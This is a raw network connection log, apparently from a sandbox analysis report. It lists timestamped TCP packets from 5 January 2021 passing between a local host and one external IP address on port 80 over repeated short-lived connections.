Jan 5, 2021 19:06:46.074238062 CET	49265	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.152134895 CET	80	49265	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.162508011 CET	80	49265	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.162549973 CET	80	49265	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.162930012 CET	49265	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.163916111 CET	49265	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.212580919 CET	80	49265	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.311878920 CET	49266	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.360780001 CET	80	49266	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.360891104 CET	49266	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.366772890 CET	49266	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.433806896 CET	80	49266	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.433970928 CET	49266	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.496001005 CET	80	49266	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.523350954 CET	80	49266	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.523379087 CET	80	49266	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.523542881 CET	49266	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.523623943 CET	49266	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.572334051 CET	80	49266	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.675415993 CET	49267	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.724263906 CET	80	49267	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.724600077 CET	49267	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.730741978 CET	49267	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.808430910 CET	80	49267	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.808608055 CET	49267	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.886697054 CET	80	49267	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.897286892 CET	80	49267	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.897330999 CET	80	49267	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:46.897577047 CET	49267	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.897815943 CET	49267	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.946337938 CET	80	49267	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.046596050 CET	49268	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.096491098 CET	80	49268	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.096726894 CET	49268	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.102634907 CET	49268	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.167807102 CET	80	49268	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.167920113 CET	49268	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.245739937 CET	80	49268	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.257102013 CET	80	49268	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.257147074 CET	80	49268	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.257555008 CET	49268	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.257597923 CET	49268	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.306282043 CET	80	49268	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.424237967 CET	49269	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.472875118 CET	80	49269	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.473067999 CET	49269	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.475682020 CET	49269	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.558672905 CET	80	49269	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.558752060 CET	49269	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.636519909 CET	80	49269	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.647986889 CET	80	49269	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.648037910 CET	80	49269	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.648366928 CET	49269	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.648407936 CET	49269	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.696850061 CET	80	49269	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.812623978 CET	49270	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.861495972 CET	80	49270	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.861659050 CET	49270	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.867741108 CET	49270	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:47.933631897 CET	80	49270	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:47.933981895 CET	49270	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.019062042 CET	80	49270	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.042228937 CET	80	49270	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.042293072 CET	80	49270	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.042534113 CET	49270	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.042943001 CET	49270	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.091841936 CET	80	49270	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.203691006 CET	49271	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.252469063 CET	80	49271	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.252578020 CET	49271	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.254686117 CET	49271	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.323942900 CET	80	49271	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.324067116 CET	49271	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.386348009 CET	80	49271	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.422138929 CET	80	49271	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.422183990 CET	80	49271	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.422559023 CET	49271	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.422580957 CET	49271	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.471131086 CET	80	49271	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.571465969 CET	49272	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.620156050 CET	80	49272	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.620287895 CET	49272	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.626007080 CET	49272	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.699719906 CET	80	49272	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.699857950 CET	49272	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.777169943 CET	80	49272	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.788675070 CET	80	49272	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.788717031 CET	80	49272	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.789041996 CET	49272	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.789072037 CET	49272	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:48.837681055 CET	80	49272	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:48.954694986 CET	49273	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.003274918 CET	80	49273	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.003411055 CET	49273	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.009732008 CET	49273	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.073921919 CET	80	49273	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.074176073 CET	49273	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.152062893 CET	80	49273	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.170300961 CET	80	49273	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.170344114 CET	80	49273	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.170681000 CET	49273	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.170722961 CET	49273	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.219330072 CET	80	49273	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.322837114 CET	49274	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.371460915 CET	80	49274	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.371629953 CET	49274	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.377604008 CET	49274	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.448975086 CET	80	49274	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.449208975 CET	49274	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.527120113 CET	80	49274	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.549511909 CET	80	49274	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.549556971 CET	80	49274	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.549896002 CET	49274	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.549947023 CET	49274	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.598640919 CET	80	49274	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.695986986 CET	49275	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.744792938 CET	80	49275	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.744885921 CET	49275	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.748266935 CET	49275	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.823997021 CET	80	49275	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.824132919 CET	49275	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.886425018 CET	80	49275	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.910768986 CET	80	49275	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.910813093 CET	80	49275	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:49.910914898 CET	49275	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.910947084 CET	49275	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:49.959400892 CET	80	49275	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.063678026 CET	49276	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.112997055 CET	80	49276	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.113132954 CET	49276	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.119352102 CET	49276	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.183569908 CET	80	49276	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.183672905 CET	49276	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.245867014 CET	80	49276	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.275711060 CET	80	49276	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.275784016 CET	80	49276	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.276063919 CET	49276	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.276109934 CET	49276	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.325432062 CET	80	49276	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.431952000 CET	49277	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.480834007 CET	80	49277	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.481014013 CET	49277	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.486913919 CET	49277	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.558413982 CET	80	49277	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.558531046 CET	49277	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.637545109 CET	80	49277	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.662352085 CET	80	49277	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.662395954 CET	80	49277	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.662662983 CET	49277	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.662708998 CET	49277	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.711388111 CET	80	49277	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.814964056 CET	49278	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.863784075 CET	80	49278	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.863898993 CET	49278	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.870070934 CET	49278	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.933312893 CET	80	49278	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:50.933485031 CET	49278	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:50.995888948 CET	80	49278	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.028076887 CET	80	49278	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.028126001 CET	80	49278	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.028448105 CET	49278	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.028492928 CET	49278	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.077061892 CET	80	49278	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.180345058 CET	49279	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.229721069 CET	80	49279	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.229861021 CET	49279	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.234373093 CET	49279	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.308434010 CET	80	49279	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.308582067 CET	49279	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.386372089 CET	80	49279	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.393172979 CET	80	49279	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.393228054 CET	80	49279	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.393553972 CET	49279	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.393614054 CET	49279	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.442282915 CET	80	49279	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.548754930 CET	49280	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.597493887 CET	80	49280	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.597618103 CET	49280	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.603753090 CET	49280	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.667726994 CET	80	49280	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.667836905 CET	49280	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.745739937 CET	80	49280	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.756889105 CET	80	49280	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.756942987 CET	80	49280	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.757021904 CET	49280	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.757055044 CET	49280	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.806199074 CET	80	49280	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.919709921 CET	49281	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.968364000 CET	80	49281	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:51.968492031 CET	49281	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:51.974611998 CET	49281	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.043175936 CET	80	49281	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.043278933 CET	49281	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.105514050 CET	80	49281	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.147881985 CET	80	49281	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.147936106 CET	80	49281	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.148016930 CET	49281	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.148053885 CET	49281	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.196943998 CET	80	49281	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.304766893 CET	49282	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.353502035 CET	80	49282	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.353595018 CET	49282	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.356383085 CET	49282	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.433440924 CET	80	49282	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.433665037 CET	49282	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.495781898 CET	80	49282	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.526789904 CET	80	49282	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.526830912 CET	80	49282	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.527107000 CET	49282	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.527157068 CET	49282	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.575961113 CET	80	49282	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.673527956 CET	49283	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.722310066 CET	80	49283	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.722594976 CET	49283	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.728532076 CET	49283	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.808480024 CET	80	49283	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.808633089 CET	49283	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.890536070 CET	80	49283	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.923052073 CET	80	49283	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.923093081 CET	80	49283	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:52.923357964 CET	49283	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.923455954 CET	49283	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:52.972095013 CET	80	49283	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.082107067 CET	49284	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.131026030 CET	80	49284	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.131161928 CET	49284	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.137320995 CET	49284	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.214724064 CET	80	49284	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.214835882 CET	49284	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.292875051 CET	80	49284	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.310693979 CET	80	49284	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.310736895 CET	80	49284	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.310981035 CET	49284	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.311012030 CET	49284	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.359778881 CET	80	49284	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.470570087 CET	49285	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.519198895 CET	80	49285	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.519402981 CET	49285	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.527158022 CET	49285	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.605434895 CET	80	49285	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.605539083 CET	49285	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.683310032 CET	80	49285	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.705441952 CET	80	49285	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.705488920 CET	80	49285	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.705708027 CET	49285	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.705768108 CET	49285	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.754586935 CET	80	49285	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.868779898 CET	49286	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.917476892 CET	80	49286	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.917726994 CET	49286	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.922498941 CET	49286	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:53.996164083 CET	80	49286	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:53.996371984 CET	49286	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.073983908 CET	80	49286	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.077630997 CET	80	49286	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.077672005 CET	80	49286	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.077884912 CET	49286	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.077936888 CET	49286	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.126559973 CET	80	49286	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.231875896 CET	49287	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.280863047 CET	80	49287	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.280980110 CET	49287	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.285753012 CET	49287	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.356095076 CET	80	49287	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.356172085 CET	49287	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.433221102 CET	80	49287	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.453917980 CET	80	49287	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.454042912 CET	80	49287	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.454075098 CET	49287	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.454090118 CET	49287	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.502424002 CET	80	49287	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.607711077 CET	49288	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.656512022 CET	80	49288	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.656625032 CET	49288	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.662266970 CET	49288	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.745805025 CET	80	49288	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.745896101 CET	49288	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.823992968 CET	80	49288	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.864166021 CET	80	49288	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.864272118 CET	80	49288	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:54.864480972 CET	49288	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.864680052 CET	49288	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:54.913265944 CET	80	49288	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.015677929 CET	49289	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.064395905 CET	80	49289	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.064522028 CET	49289	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.070986032 CET	49289	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.137195110 CET	80	49289	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.137275934 CET	49289	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.215507030 CET	80	49289	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.223018885 CET	80	49289	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.223051071 CET	80	49289	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.223129988 CET	49289	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.223198891 CET	49289	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.272478104 CET	80	49289	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.372582912 CET	49290	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.421224117 CET	80	49290	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.421370029 CET	49290	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.427130938 CET	49290	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.496037006 CET	80	49290	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.496157885 CET	49290	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.573904991 CET	80	49290	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.590567112 CET	80	49290	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.590610981 CET	80	49290	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.590835094 CET	49290	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.590908051 CET	49290	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.639602900 CET	80	49290	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.756859064 CET	49291	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.805609941 CET	80	49291	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.805732012 CET	49291	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.812036037 CET	49291	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.886379957 CET	80	49291	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.886481047 CET	49291	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.964427948 CET	80	49291	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.997741938 CET	80	49291	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.997870922 CET	80	49291	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:55.997960091 CET	49291	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:55.997981071 CET	49291	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.046441078 CET	80	49291	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.155292988 CET	49292	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.207212925 CET	80	49292	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.207375050 CET	49292	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.213303089 CET	49292	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.293462992 CET	80	49292	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.293616056 CET	49292	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.370985985 CET	80	49292	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.397186995 CET	80	49292	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.397222996 CET	80	49292	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.397346973 CET	49292	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.397413015 CET	49292	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.446103096 CET	80	49292	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.538954020 CET	49293	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.587851048 CET	80	49293	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.588022947 CET	49293	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.594263077 CET	49293	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.667733908 CET	80	49293	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.667865992 CET	49293	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.745753050 CET	80	49293	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.764003992 CET	80	49293	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.764045000 CET	80	49293	185.206.215.56	192.168.2.22
